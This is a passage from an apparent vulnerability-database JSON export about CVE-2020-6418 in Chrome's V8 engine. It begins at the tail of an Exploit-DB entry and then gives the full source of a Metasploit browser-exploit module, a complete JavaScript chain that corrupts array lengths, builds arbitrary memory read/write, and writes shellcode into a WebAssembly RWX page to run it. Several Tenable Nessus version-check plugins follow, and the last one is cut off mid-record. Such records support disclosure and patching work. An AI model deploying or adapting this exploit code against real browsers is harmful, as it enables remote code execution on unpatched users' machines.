0x100000000) + BigInt(shellcode.charCodeAt(i + 3) * 0x1000000000000));\r\n }\r\n\r\n writeShellcode(wasm_rwx_addr,sc);\r\n\r\n print('success');\r\n wasm_func();\r\n}\r\n\r\n\r\nfunction exp() {\r\n get_arw();\r\n rce();\r\n}\r\n\r\nexp();\r\n^\r\n\r\n if datastore['DEBUG_EXPLOIT']\r\n debugjs = %Q^\r\nprint = function(arg) {\r\n var request = new XMLHttpRequest();\r\n request.open(\"POST\", \"/print\", false);\r\n request.send(\"\" + arg);\r\n};\r\n^\r\n jscript = \"#{debugjs}#{jscript}\"\r\n else\r\n jscript.gsub!(/\\/\\/.*$/, '') # strip comments\r\n jscript.gsub!(/^\\s*print\\s*\\(.*?\\);\\s*$/, '') # strip print(*);\r\n end\r\n\r\n html = %Q^\r\n<html>\r\n<head>\r\n<script>\r\n#{jscript}\r\n</script>\r\n</head>\r\n<body>\r\n</body>\r\n</html>\r\n ^\r\n send_response(cli, html, {'Content-Type'=>'text/html', 'Cache-Control' => 'no-cache, no-store, must-revalidate', 'Pragma' => 'no-cache', 'Expires' => '0'})\r\n end\r\n\r\nend", "cvss": {"score": 4.3, "vector": "AV:N/AC:M/Au:N/C:N/I:N/A:P"}, "sourceHref": "https://www.exploit-db.com/download/48186"}], "metasploit": [{"lastseen": "2020-10-13T16:43:34", "description": "This module exploits an issue in Google Chrome 80.0.3987.87 (64 bit). The exploit corrupts the length of a float array (float_rel), which can then be used for out of bounds read and write on adjacent memory. The relative read and write is then used to modify a UInt64Array (uint64_aarw) which is used for read and writing from absolute memory. The exploit then uses WebAssembly in order to allocate a region of RWX memory, which is then replaced with the payload shellcode. The payload is executed within the sandboxed renderer process, so the browser must be run with the --no-sandbox option for the payload to work correctly.\n", "published": "2020-02-29T10:41:04", "type": "metasploit", "title": "Google Chrome 80 JSCreate side-effect type confusion exploit", "bulletinFamily": "exploit", "cvelist": ["CVE-2020-6418"], "modified": "2020-10-02T20:00:37", "id": "MSF:EXPLOIT/MULTI/BROWSER/CHROME_JSCREATE_SIDEEFFECT", "href": "", "sourceData": "##\n# This module requires Metasploit: https://metasploit.com/download\n# Current source: https://github.com/rapid7/metasploit-framework\n##\n\nclass MetasploitModule < Msf::Exploit::Remote\n Rank = ManualRanking\n\n include Msf::Post::File\n include Msf::Exploit::Remote::HttpServer\n\n def initialize(info = {})\n super(update_info(info,\n 'Name' => 'Google Chrome 80 JSCreate side-effect type confusion exploit',\n 'Description' => %q{\n This module exploits an issue in Google Chrome 80.0.3987.87 (64 bit). The exploit\n corrupts the length of a float array (float_rel), which can then be used for out\n of bounds read and write on adjacent memory.\n The relative read and write is then used to modify a UInt64Array (uint64_aarw)\n which is used for read and writing from absolute memory.\n The exploit then uses WebAssembly in order to allocate a region of RWX memory,\n which is then replaced with the payload shellcode.\n The payload is executed within the sandboxed renderer process, so the browser\n must be run with the --no-sandbox option for the payload to work correctly.\n },\n 'License' => MSF_LICENSE,\n 'Author' => [\n 'Cl\u00e9ment Lecigne', # discovery\n 'Istv\u00e1n Kurucsai', # exploit\n 'Vignesh S Rao', # exploit\n 'timwr', # metasploit copypasta\n ],\n 'References' => [\n ['CVE', '2020-6418'],\n ['URL', 'https://bugs.chromium.org/p/chromium/issues/detail?id=1053604'],\n ['URL', 'https://blog.exodusintel.com/2020/02/24/a-eulogy-for-patch-gapping'],\n ['URL', 'https://ray-cp.github.io/archivers/browser-pwn-cve-2020-6418%E6%BC%8F%E6%B4%9E%E5%88%86%E6%9E%90'],\n ],\n 'Arch' => [ ARCH_X64 ],\n 'DefaultTarget' => 0,\n 'Targets' =>\n [\n ['Windows 10 - Google Chrome 80.0.3987.87 (64 bit)', {'Platform' => 'win'}],\n ['macOS - Google Chrome 80.0.3987.87 (64 bit)', {'Platform' => 'osx'}],\n ],\n 'DisclosureDate' => '2020-02-19'))\n register_advanced_options([\n OptBool.new('DEBUG_EXPLOIT', [false, \"Show debug information during exploitation\", false]),\n ])\n end\n\n def on_request_uri(cli, request)\n if datastore['DEBUG_EXPLOIT'] && request.uri =~ %r{/print$*}\n print_status(\"[*] #{request.body}\")\n send_response(cli, '')\n return\n end\n\n print_status(\"Sending #{request.uri} to #{request['User-Agent']}\")\n escaped_payload = Rex::Text.to_unescape(payload.raw)\n jscript = %Q^\nvar shellcode = unescape(\"#{escaped_payload}\");\n\n// HELPER FUNCTIONS\nlet conversion_buffer = new ArrayBuffer(8);\nlet float_view = new Float64Array(conversion_buffer);\nlet int_view = new BigUint64Array(conversion_buffer);\nBigInt.prototype.hex = function() {\n return '0x' + this.toString(16);\n};\nBigInt.prototype.i2f = function() {\n int_view[0] = this;\n return float_view[0];\n}\nBigInt.prototype.smi2f = function() {\n int_view[0] = this << 32n;\n return float_view[0];\n}\nNumber.prototype.f2i = function() {\n float_view[0] = this;\n return int_view[0];\n}\nNumber.prototype.f2smi = function() {\n float_view[0] = this;\n return int_view[0] >> 32n;\n}\n\nNumber.prototype.fhw = function() {\n float_view[0] = this;\n return int_view[0] >> 32n;\n}\n\nNumber.prototype.flw = function() {\n float_view[0] = this;\n return int_view[0] & BigInt(2**32-1);\n}\n\nNumber.prototype.i2f = function() {\n return BigInt(this).i2f();\n}\nNumber.prototype.smi2f = function() {\n return BigInt(this).smi2f();\n}\n\nfunction hex(a) {\n return a.toString(16);\n}\n\n//\n// EXPLOIT\n//\n\n// the number of holes here determines the OOB write offset\nlet vuln = [0.1, ,,,,,,,,,,,,,,,,,,,,,, 6.1, 7.1, 8.1];\nvar float_rel; // float array, initially corruption target\nvar float_carw; // float array, used for reads/writes within the compressed heap\nvar uint64_aarw; // uint64 typed array, used for absolute reads/writes in the entire address space\nvar obj_leaker; // used to implement addrof\nvuln.pop();\nvuln.pop();\nvuln.pop();\n\nfunction empty() {}\n\nfunction f(nt) {\n // The compare operation enforces an effect edge between JSCreate and Array.push, thus introducing the bug\n vuln.push(typeof(Reflect.construct(empty, arguments, nt)) === Proxy ? 0.2 : 156842065920.05);\n for (var i = 0; i < 0x10000; ++i) {};\n}\n\nlet p = new Proxy(Object, {\n get: function() {\n vuln[0] = {};\n float_rel = [0.2, 1.2, 2.2, 3.2, 4.3];\n float_carw = [6.6];\n uint64_aarw = new BigUint64Array(4);\n obj_leaker = {\n a: float_rel,\n b: float_rel,\n };\n\n return Object.prototype;\n }\n});\n\nfunction main(o) {\n for (var i = 0; i < 0x10000; ++i) {};\n return f(o);\n}\n\n// reads 4 bytes from the compressed heap at the specified dword offset after float_rel\nfunction crel_read4(offset) {\n var qw_offset = Math.floor(offset / 2);\n if (offset & 1 == 1) {\n return float_rel[qw_offset].fhw();\n } else {\n return float_rel[qw_offset].flw();\n }\n}\n\n// writes the specified 4-byte BigInt value to the compressed heap at the specified offset after float_rel\nfunction crel_write4(offset, val) {\n var qw_offset = Math.floor(offset / 2);\n // we are writing an 8-byte double under the hood\n // read out the other half and keep its value\n if (offset & 1 == 1) {\n temp = float_rel[qw_offset].flw();\n new_val = (val << 32n | temp).i2f();\n float_rel[qw_offset] = new_val;\n } else {\n temp = float_rel[qw_offset].fhw();\n new_val = (temp << 32n | val).i2f();\n float_rel[qw_offset] = new_val;\n }\n}\n\nconst float_carw_elements_offset = 0x14;\n\nfunction cabs_read4(caddr) {\n elements_addr = caddr - 8n | 1n;\n crel_write4(float_carw_elements_offset, elements_addr);\n print('cabs_read4: ' + hex(float_carw[0].f2i()));\n res = float_carw[0].flw();\n // TODO restore elements ptr\n return res;\n}\n\n\n// This function provides arbitrary within read the compressed heap\nfunction cabs_read8(caddr) {\n elements_addr = caddr - 8n | 1n;\n crel_write4(float_carw_elements_offset, elements_addr);\n print('cabs_read8: ' + hex(float_carw[0].f2i()));\n res = float_carw[0].f2i();\n // TODO restore elements ptr\n return res;\n}\n\n// This function provides arbitrary write within the compressed heap\nfunction cabs_write4(caddr, val) {\n elements_addr = caddr - 8n | 1n;\n\n temp = cabs_read4(caddr + 4n | 1n);\n print('cabs_write4 temp: '+ hex(temp));\n\n new_val = (temp << 32n | val).i2f();\n\n crel_write4(float_carw_elements_offset, elements_addr);\n print('cabs_write4 prev_val: '+ hex(float_carw[0].f2i()));\n\n float_carw[0] = new_val;\n // TODO restore elements ptr\n return res;\n}\n\nconst objleaker_offset = 0x41;\nfunction addrof(o) {\n obj_leaker.b = o;\n addr = crel_read4(objleaker_offset) & BigInt(2**32-2);\n obj_leaker.b = {};\n return addr;\n}\n\nconst uint64_externalptr_offset = 0x1b; // in 8-bytes\n\n// Arbitrary read. We corrupt the backing store of the `uint64_aarw` array and then read from the array\nfunction read8(addr) {\n faddr = addr.i2f();\n t1 = float_rel[uint64_externalptr_offset];\n t2 = float_rel[uint64_externalptr_offset + 1];\n float_rel[uint64_externalptr_offset] = faddr;\n float_rel[uint64_externalptr_offset + 1] = 0.0;\n\n val = uint64_aarw[0];\n\n float_rel[uint64_externalptr_offset] = t1;\n float_rel[uint64_externalptr_offset + 1] = t2;\n return val;\n}\n\n// Arbitrary write. We corrupt the backing store of the `uint64_aarw` array and then write into the array\nfunction write8(addr, val) {\n faddr = addr.i2f();\n t1 = float_rel[uint64_externalptr_offset];\n t2 = float_rel[uint64_externalptr_offset + 1];\n float_rel[uint64_externalptr_offset] = faddr;\n float_rel[uint64_externalptr_offset + 1] = 0.0;\n\n uint64_aarw[0] = val;\n\n float_rel[uint64_externalptr_offset] = t1;\n float_rel[uint64_externalptr_offset + 1] = t2;\n return val;\n}\n\n// Given an array of bigints, this will write all the elements to the address provided as argument\nfunction writeShellcode(addr, sc) {\n faddr = addr.i2f();\n t1 = float_rel[uint64_externalptr_offset];\n t2 = float_rel[uint64_externalptr_offset + 1];\n float_rel[uint64_externalptr_offset - 1] = 10;\n float_rel[uint64_externalptr_offset] = faddr;\n float_rel[uint64_externalptr_offset + 1] = 0.0;\n\n for (var i = 0; i < sc.length; ++i) {\n uint64_aarw[i] = sc[i]\n }\n\n float_rel[uint64_externalptr_offset] = t1;\n float_rel[uint64_externalptr_offset + 1] = t2;\n}\n\n\nfunction get_compressed_rw() {\n\n for (var i = 0; i < 0x10000; ++i) {empty();}\n\n main(empty);\n main(empty);\n\n // Function would be jit compiled now.\n main(p);\n\n print(`Corrupted length of float_rel array = ${float_rel.length}`);\n}\n\nfunction get_arw() {\n get_compressed_rw();\n print('should be 0x2: ' + hex(crel_read4(0x15)));\n let previous_elements = crel_read4(0x14);\n //print(hex(previous_elements));\n //print(hex(cabs_read4(previous_elements)));\n //print(hex(cabs_read4(previous_elements + 4n)));\n cabs_write4(previous_elements, 0x66554433n);\n //print(hex(cabs_read4(previous_elements)));\n //print(hex(cabs_read4(previous_elements + 4n)));\n\n print('addrof(float_rel): ' + hex(addrof(float_rel)));\n uint64_aarw[0] = 0x4142434445464748n;\n}\n\nfunction rce() {\n function get_wasm_func() {\n var importObject = {\n imports: { imported_func: arg => print(arg) }\n };\n bc = [0x0, 0x61, 0x73, 0x6d, 0x1, 0x0, 0x0, 0x0, 0x1, 0x8, 0x2, 0x60, 0x1, 0x7f, 0x0, 0x60, 0x0, 0x0, 0x2, 0x19, 0x1, 0x7, 0x69, 0x6d, 0x70, 0x6f, 0x72, 0x74, 0x73, 0xd, 0x69, 0x6d, 0x70, 0x6f, 0x72, 0x74, 0x65, 0x64, 0x5f, 0x66, 0x75, 0x6e, 0x63, 0x0, 0x0, 0x3, 0x2, 0x1, 0x1, 0x7, 0x11, 0x1, 0xd, 0x65, 0x78, 0x70, 0x6f, 0x72, 0x74, 0x65, 0x64, 0x5f, 0x66, 0x75, 0x6e, 0x63, 0x0, 0x1, 0xa, 0x8, 0x1, 0x6, 0x0, 0x41, 0x2a, 0x10, 0x0, 0xb];\n wasm_code = new Uint8Array(bc);\n wasm_mod = new WebAssembly.Instance(new WebAssembly.Module(wasm_code), importObject);\n return wasm_mod.exports.exported_func;\n }\n\n let wasm_func = get_wasm_func();\n // traverse the JSFunction object chain to find the RWX WebAssembly code page\n let wasm_func_addr = addrof(wasm_func);\n let sfi = cabs_read4(wasm_func_addr + 12n) - 1n;\n print('sfi: ' + hex(sfi));\n let WasmExportedFunctionData = cabs_read4(sfi + 4n) - 1n;\n print('WasmExportedFunctionData: ' + hex(WasmExportedFunctionData));\n\n let instance = cabs_read4(WasmExportedFunctionData + 8n) - 1n;\n print('instance: ' + hex(instance));\n\n let wasm_rwx_addr = cabs_read8(instance + 0x68n);\n print('wasm_rwx_addr: ' + hex(wasm_rwx_addr));\n\n // write the shellcode to the RWX page\n while(shellcode.length % 4 != 0){\n shellcode += \"\\u9090\";\n }\n\n let sc = [];\n\n // convert the shellcode to BigInt\n for (let i = 0; i < shellcode.length; i += 4) {\n sc.push(BigInt(shellcode.charCodeAt(i)) + BigInt(shellcode.charCodeAt(i + 1) * 0x10000) + BigInt(shellcode.charCodeAt(i + 2) * 0x100000000) + BigInt(shellcode.charCodeAt(i + 3) * 0x1000000000000));\n }\n\n writeShellcode(wasm_rwx_addr,sc);\n\n print('success');\n wasm_func();\n}\n\n\nfunction exp() {\n get_arw();\n rce();\n}\n\nexp();\n^\n\n if datastore['DEBUG_EXPLOIT']\n debugjs = %Q^\nprint = function(arg) {\n var request = new XMLHttpRequest();\n request.open(\"POST\", \"/print\", false);\n request.send(\"\" + arg);\n};\n^\n jscript = \"#{debugjs}#{jscript}\"\n else\n jscript.gsub!(/\\/\\/.*$/, '') # strip comments\n jscript.gsub!(/^\\s*print\\s*\\(.*?\\);\\s*$/, '') # strip print(*);\n end\n\n html = %Q^\n<html>\n<head>\n<script>\n#{jscript}\n</script>\n</head>\n<body>\n</body>\n</html>\n ^\n send_response(cli, html, {'Content-Type'=>'text/html', 'Cache-Control' => 'no-cache, no-store, must-revalidate', 'Pragma' => 'no-cache', 'Expires' => '0'})\n end\n\nend\n", "cvss": {"score": 4.3, "vector": "AV:N/AC:M/Au:N/C:N/I:N/A:P"}, "sourceHref": "https://github.com/rapid7/metasploit-framework/blob/master//modules/exploits/multi/browser/chrome_jscreate_sideeffect.rb"}], "nessus": [{"lastseen": "2021-02-04T03:41:55", "description": "The version of Google Chrome installed on the remote macOS host is prior to 80.0.3987.122. It is, therefore, affected by\nmultiple vulnerabilities as referenced in the 2020_02_stable-channel-update-for-desktop_24 advisory. Note that Nessus\nhas not tested for this issue but has instead relied only on the application's self-reported version number.", "edition": 3, "cvss3": {"score": 8.8, "vector": "AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H"}, "published": "2020-02-24T00:00:00", "title": "Google Chrome < 80.0.3987.122 Multiple Vulnerabilities", "type": "nessus", "bulletinFamily": "scanner", "cvelist": ["CVE-2020-6407", "CVE-2020-6418"], "modified": "2020-02-24T00:00:00", "cpe": ["cpe:/a:google:chrome"], "id": "MACOSX_GOOGLE_CHROME_80_0_3987_122.NASL", "href": "https://www.tenable.com/plugins/nessus/133953", "sourceData": "#\n# (C) Tenable Network Security, Inc.\n#\n\ninclude('compat.inc');\n\nif (description)\n{\n script_id(133953);\n script_version(\"1.5\");\n script_set_attribute(attribute:\"plugin_modification_date\", value:\"2021/02/02\");\n\n script_cve_id(\"CVE-2020-6407\", \"CVE-2020-6418\");\n\n script_name(english:\"Google Chrome < 80.0.3987.122 Multiple Vulnerabilities\");\n\n script_set_attribute(attribute:\"synopsis\", value:\n\"A web browser installed on the remote macOS host is affected by multiple vulnerabilities.\");\n script_set_attribute(attribute:\"description\", value:\n\"The version of Google Chrome installed on the remote macOS host is prior to 80.0.3987.122. It is, therefore, affected by\nmultiple vulnerabilities as referenced in the 2020_02_stable-channel-update-for-desktop_24 advisory. Note that Nessus\nhas not tested for this issue but has instead relied only on the application's self-reported version number.\");\n # https://chromereleases.googleblog.com/2020/02/stable-channel-update-for-desktop_24.html\n script_set_attribute(attribute:\"see_also\", value:\"http://www.nessus.org/u?aae39d39\");\n script_set_attribute(attribute:\"see_also\", value:\"https://crbug.com/1045931\");\n script_set_attribute(attribute:\"see_also\", value:\"https://crbug.com/1053604\");\n script_set_attribute(attribute:\"see_also\", value:\"https://crbug.com/1044570\");\n script_set_attribute(attribute:\"solution\", value:\n\"Upgrade to Google Chrome version 80.0.3987.122 or later.\");\n script_set_cvss_base_vector(\"CVSS2#AV:N/AC:M/Au:N/C:P/I:P/A:P\");\n script_set_cvss_temporal_vector(\"CVSS2#E:H/RL:OF/RC:C\");\n script_set_cvss3_base_vector(\"CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H\");\n script_set_cvss3_temporal_vector(\"CVSS:3.0/E:H/RL:O/RC:C\");\n script_set_attribute(attribute:\"cvss_score_source\", value:\"CVE-2020-6407\");\n\n script_set_attribute(attribute:\"exploitability_ease\", value:\"Exploits are available\");\n script_set_attribute(attribute:\"exploit_available\", value:\"true\");\n script_set_attribute(attribute:\"exploited_by_malware\", value:\"true\");\n script_set_attribute(attribute:\"metasploit_name\", value:'Google Chrome 80 JSCreate side-effect type confusion exploit');\n script_set_attribute(attribute:\"exploit_framework_metasploit\", value:\"true\");\n\n script_set_attribute(attribute:\"vuln_publication_date\", value:\"2020/02/24\");\n script_set_attribute(attribute:\"patch_publication_date\", value:\"2020/02/24\");\n script_set_attribute(attribute:\"plugin_publication_date\", value:\"2020/02/24\");\n\n script_set_attribute(attribute:\"plugin_type\", value:\"local\");\n script_set_attribute(attribute:\"cpe\", value:\"cpe:/a:google:chrome\");\n script_end_attributes();\n\n script_category(ACT_GATHER_INFO);\n script_family(english:\"MacOS X Local Security Checks\");\n\n script_copyright(english:\"This script is Copyright (C) 2020-2021 and is owned by Tenable, Inc. or an Affiliate thereof.\");\n\n script_dependencies(\"macosx_google_chrome_installed.nbin\");\n script_require_keys(\"MacOSX/Google Chrome/Installed\");\n\n exit(0);\n}\ninclude('google_chrome_version.inc');\n\nget_kb_item_or_exit('MacOSX/Google Chrome/Installed');\n\ngoogle_chrome_check_version(fix:'80.0.3987.122', severity:SECURITY_WARNING, xss:FALSE, xsrf:FALSE);\n", "cvss": {"score": 6.8, "vector": "AV:N/AC:M/Au:N/C:P/I:P/A:P"}}, {"lastseen": "2021-02-04T03:52:39", "description": "The version of Microsoft Edge (Chromium) installed on the remote Windows host is prior to 80.0.361.62. It is,\ntherefore, affected by multiple vulnerabilities:\n\n - An out-of-bounds memory access error exists in Google Chrome. An unauthenticated, remote attacker can\n exploit this, via a crafted HTML page, to potentially exploit heap corruption. (CVE-2020-6407)\n\n - A type confusion error exists in the V8 component of Google Chrome. An unauthenticated, remote attacker\n can exploit this, via a crafted HTML page, to potentially exploit heap corruption. (CVE-2020-6418)\n\nNote that Nessus has not tested for these issues but has instead relied only on the application's self-reported version\nnumber.", "edition": 5, "cvss3": {"score": 8.8, "vector": "AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H"}, "published": "2020-07-07T00:00:00", "title": "Microsoft Edge (Chromium) < 80.0.361.62 Multiple Vulnerabilities", "type": "nessus", "bulletinFamily": "scanner", "cvelist": ["CVE-2020-6407", "CVE-2020-6418"], "modified": "2020-07-07T00:00:00", "cpe": ["cpe:/a:microsoft:edge"], "id": "MICROSOFT_EDGE_CHROMIUM_80_0_361_62.NASL", "href": "https://www.tenable.com/plugins/nessus/138176", "sourceData": "#\n# (C) Tenable Network Security, Inc.\n#\n\ninclude('compat.inc');\n\nif (description)\n{\n script_id(138176);\n script_version(\"1.4\");\n script_set_attribute(attribute:\"plugin_modification_date\", value:\"2021/02/02\");\n\n script_cve_id(\"CVE-2020-6407\", \"CVE-2020-6418\");\n\n script_name(english:\"Microsoft Edge (Chromium) < 80.0.361.62 Multiple Vulnerabilities\");\n\n script_set_attribute(attribute:\"synopsis\", value:\n\"The remote host has an web browser installed that is affected by multiple vulnerabilities.\");\n script_set_attribute(attribute:\"description\", value:\n\"The version of Microsoft Edge (Chromium) installed on the remote Windows host is prior to 80.0.361.62. It is,\ntherefore, affected by multiple vulnerabilities:\n\n - An out-of-bounds memory access error exists in Google Chrome. An unauthenticated, remote attacker can\n exploit this, via a crafted HTML page, to potentially exploit heap corruption. (CVE-2020-6407)\n\n - A type confusion error exists in the V8 component of Google Chrome. An unauthenticated, remote attacker\n can exploit this, via a crafted HTML page, to potentially exploit heap corruption. (CVE-2020-6418)\n\nNote that Nessus has not tested for these issues but has instead relied only on the application's self-reported version\nnumber.\");\n # https://portal.msrc.microsoft.com/en-us/security-guidance/advisory/ADV200002\n script_set_attribute(attribute:\"see_also\", value:\"http://www.nessus.org/u?b4f0f972\");\n # https://docs.microsoft.com/en-us/deployedge/microsoft-edge-relnotes-security\n script_set_attribute(attribute:\"see_also\", value:\"http://www.nessus.org/u?2ec7f076\");\n script_set_attribute(attribute:\"solution\", value:\n\"Upgrade to Microsoft Edge (Chromium) 80.0.361.62 or later.\");\n script_set_cvss_base_vector(\"CVSS2#AV:N/AC:M/Au:N/C:P/I:P/A:P\");\n script_set_cvss_temporal_vector(\"CVSS2#E:H/RL:OF/RC:C\");\n script_set_cvss3_base_vector(\"CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H\");\n script_set_cvss3_temporal_vector(\"CVSS:3.0/E:H/RL:O/RC:C\");\n script_set_attribute(attribute:\"cvss_score_source\", value:\"CVE-2020-6407\");\n\n script_set_attribute(attribute:\"exploitability_ease\", value:\"Exploits are available\");\n script_set_attribute(attribute:\"exploit_available\", value:\"true\");\n script_set_attribute(attribute:\"exploited_by_malware\", value:\"true\");\n script_set_attribute(attribute:\"metasploit_name\", value:'Google Chrome 80 JSCreate side-effect type confusion exploit');\n script_set_attribute(attribute:\"exploit_framework_metasploit\", value:\"true\");\n\n script_set_attribute(attribute:\"vuln_publication_date\", value:\"2020/02/25\");\n script_set_attribute(attribute:\"patch_publication_date\", value:\"2020/02/25\");\n script_set_attribute(attribute:\"plugin_publication_date\", value:\"2020/07/07\");\n\n script_set_attribute(attribute:\"plugin_type\", value:\"local\");\n script_set_attribute(attribute:\"cpe\", value:\"cpe:/a:microsoft:edge\");\n script_end_attributes();\n\n script_category(ACT_GATHER_INFO);\n script_family(english:\"Windows\");\n\n script_copyright(english:\"This script is Copyright (C) 2020-2021 and is owned by Tenable, Inc. or an Affiliate thereof.\");\n\n script_dependencies(\"microsoft_edge_chromium_installed.nbin\");\n script_require_keys(\"installed_sw/Microsoft Edge (Chromium)\", \"SMB/Registry/Enumerated\");\n\n exit(0);\n}\n\ninclude('vcf.inc');\n\nget_kb_item_or_exit('SMB/Registry/Enumerated');\n\napp_info = vcf::get_app_info(app:'Microsoft Edge (Chromium)', win_local:TRUE);\n\nconstraints = [{ 'fixed_version' : '80.0.361.62' }];\n\nvcf::check_version_and_report(app_info:app_info, constraints:constraints, severity:SECURITY_WARNING);\n\n", "cvss": {"score": 6.8, "vector": "AV:N/AC:M/Au:N/C:P/I:P/A:P"}}, {"lastseen": "2021-02-04T03:17:11", "description": "The version of Google Chrome installed on the remote Windows host is prior to 80.0.3987.122. It is, therefore, affected\nby multiple vulnerabilities as referenced in the 2020_02_stable-channel-update-for-desktop_24 advisory. Note that Nessus\nhas not tested for this issue but has instead relied only on the application's self-reported version number.", "edition": 3, "cvss3": {"score": 8.8, "vector": "AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H"}, "published": "2020-02-24T00:00:00", "title": "Google Chrome < 80.0.3987.122 Multiple Vulnerabilities", "type": "nessus", "bulletinFamily": "scanner", "cvelist": ["CVE-2020-6407", "CVE-2020-6418"], "modified": "2020-02-24T00:00:00", "cpe": ["cpe:/a:google:chrome"], "id": "GOOGLE_CHROME_80_0_3987_122.NASL", "href": "https://www.tenable.com/plugins/nessus/133954", "sourceData": "#\n# (C) Tenable Network Security, Inc.\n#\n\ninclude('compat.inc');\n\nif (description)\n{\n script_id(133954);\n script_version(\"1.5\");\n script_set_attribute(attribute:\"plugin_modification_date\", value:\"2021/02/02\");\n\n script_cve_id(\"CVE-2020-6407\", \"CVE-2020-6418\");\n\n script_name(english:\"Google Chrome < 80.0.3987.122 Multiple Vulnerabilities\");\n\n script_set_attribute(attribute:\"synopsis\", value:\n\"A web browser installed on the remote Windows host is affected by multiple vulnerabilities.\");\n script_set_attribute(attribute:\"description\", value:\n\"The version of Google Chrome installed on the remote Windows host is prior to 80.0.3987.122. It is, therefore, affected\nby multiple vulnerabilities as referenced in the 2020_02_stable-channel-update-for-desktop_24 advisory. Note that Nessus\nhas not tested for this issue but has instead relied only on the application's self-reported version number.\");\n # https://chromereleases.googleblog.com/2020/02/stable-channel-update-for-desktop_24.html\n script_set_attribute(attribute:\"see_also\", value:\"http://www.nessus.org/u?aae39d39\");\n script_set_attribute(attribute:\"see_also\", value:\"https://crbug.com/1045931\");\n script_set_attribute(attribute:\"see_also\", value:\"https://crbug.com/1053604\");\n script_set_attribute(attribute:\"see_also\", value:\"https://crbug.com/1044570\");\n script_set_attribute(attribute:\"solution\", value:\n\"Upgrade to Google Chrome version 80.0.3987.122 or later.\");\n script_set_cvss_base_vector(\"CVSS2#AV:N/AC:M/Au:N/C:P/I:P/A:P\");\n script_set_cvss_temporal_vector(\"CVSS2#E:H/RL:OF/RC:C\");\n script_set_cvss3_base_vector(\"CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H\");\n script_set_cvss3_temporal_vector(\"CVSS:3.0/E:H/RL:O/RC:C\");\n script_set_attribute(attribute:\"cvss_score_source\", value:\"CVE-2020-6407\");\n\n script_set_attribute(attribute:\"exploitability_ease\", value:\"Exploits are available\");\n script_set_attribute(attribute:\"exploit_available\", value:\"true\");\n script_set_attribute(attribute:\"exploited_by_malware\", value:\"true\");\n script_set_attribute(attribute:\"metasploit_name\", value:'Google Chrome 80 JSCreate side-effect type confusion exploit');\n script_set_attribute(attribute:\"exploit_framework_metasploit\", value:\"true\");\n\n script_set_attribute(attribute:\"vuln_publication_date\", value:\"2020/02/24\");\n script_set_attribute(attribute:\"patch_publication_date\", value:\"2020/02/24\");\n script_set_attribute(attribute:\"plugin_publication_date\", value:\"2020/02/24\");\n\n script_set_attribute(attribute:\"plugin_type\", value:\"local\");\n script_set_attribute(attribute:\"cpe\", value:\"cpe:/a:google:chrome\");\n script_end_attributes();\n\n script_category(ACT_GATHER_INFO);\n script_family(english:\"Windows\");\n\n script_copyright(english:\"This script is Copyright (C) 2020-2021 and is owned by Tenable, Inc. or an Affiliate thereof.\");\n\n script_dependencies(\"google_chrome_installed.nasl\");\n script_require_keys(\"SMB/Google_Chrome/Installed\");\n\n exit(0);\n}\ninclude('google_chrome_version.inc');\n\nget_kb_item_or_exit('SMB/Google_Chrome/Installed');\ninstalls = get_kb_list('SMB/Google_Chrome/*');\n\ngoogle_chrome_check_version(installs:installs, fix:'80.0.3987.122', severity:SECURITY_WARNING, xss:FALSE, xsrf:FALSE);\n", "cvss": {"score": 6.8, "vector": "AV:N/AC:M/Au:N/C:P/I:P/A:P"}}, {"lastseen": "2021-02-05T20:58:52", "description": "This update for chromium fixes the following issues :\n\nChromium was updated to version 80.0.3987.122 (bsc#1164828).\n\nSecurity issues fixed :\n\n - CVE-2020-6418: Fixed a type confusion in V8\n (bsc#1164828).\n\n - CVE-2020-6407: Fixed an OOB memory access in streams\n (bsc#1164828).\n\n - Fixed an integer overflow in ICU (bsc#1164828).\n\nNon-security issues fixed :\n\n - Dropped the sandbox binary as it should not be needed\n anymore (bsc#1163588).", "edition": 3, "cvss3": {"score": 8.8, "vector": "AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H"}, "published": "2020-02-28T00:00:00", "title": "openSUSE Security Update : chromium (openSUSE-2020-259)", "type": "nessus", "bulletinFamily": "scanner", "cvelist": ["CVE-2020-6407", "CVE-2020-6418"], "modified": "2020-02-28T00:00:00", "cpe": ["cpe:/o:novell:opensuse:15.1", "p-cpe:/a:novell:opensuse:chromedriver-debuginfo", "p-cpe:/a:novell:opensuse:chromium", "p-cpe:/a:novell:opensuse:chromium-debugsource", "p-cpe:/a:novell:opensuse:chromedriver", "p-cpe:/a:novell:opensuse:chromium-debuginfo"], "id": "OPENSUSE-2020-259.NASL", "href": "https://www.tenable.com/plugins/nessus/134157", "sourceData": "#\n# (C) Tenable Network Security, Inc.\n#\n# The descriptive text and package checks in this plugin were\n# extracted from openSUSE Security Update openSUSE-2020-259.\n#\n# The text description of this plugin is (C) SUSE LLC.\n#\n\ninclude(\"compat.inc\");\n\nif (description)\n{\n script_id(134157);\n script_version(\"1.5\");\n script_set_attribute(attribute:\"plugin_modification_date\", value:\"2021/02/04\");\n\n script_cve_id(\"CVE-2020-6407\", \"CVE-2020-6418\");\n\n script_name(english:\"openSUSE Security Update : chromium (openSUSE-2020-259)\");\n script_summary(english:\"Check for the openSUSE-2020-259 patch\");\n\n script_set_attribute(\n attribute:\"synopsis\",\n value:\"The remote openSUSE host is missing a security update.\"\n );\n script_set_attribute(\n attribute:\"description\",\n value:\n\"This update for chromium fixes the following issues :\n\nChromium was updated to version 80.0.3987.122 (bsc#1164828).\n\nSecurity issues fixed :\n\n - CVE-2020-6418: Fixed a type confusion in V8\n (bsc#1164828).\n\n - CVE-2020-6407: Fixed an OOB memory access in streams\n (bsc#1164828).\n\n - Fixed an integer overflow in ICU (bsc#1164828).\n\nNon-security issues fixed :\n\n - Dropped the sandbox binary as it should not be needed\n anymore (bsc#1163588).\"\n );\n script_set_attribute(\n attribute:\"see_also\",\n value:\"https://bugzilla.opensuse.org/show_bug.cgi?id=1163484\"\n );\n script_set_attribute(\n attribute:\"see_also\",\n value:\"https://bugzilla.opensuse.org/show_bug.cgi?id=1163588\"\n );\n script_set_attribute(\n attribute:\"see_also\",\n value:\"https://bugzilla.opensuse.org/show_bug.cgi?id=1164828\"\n );\n script_set_attribute(\n 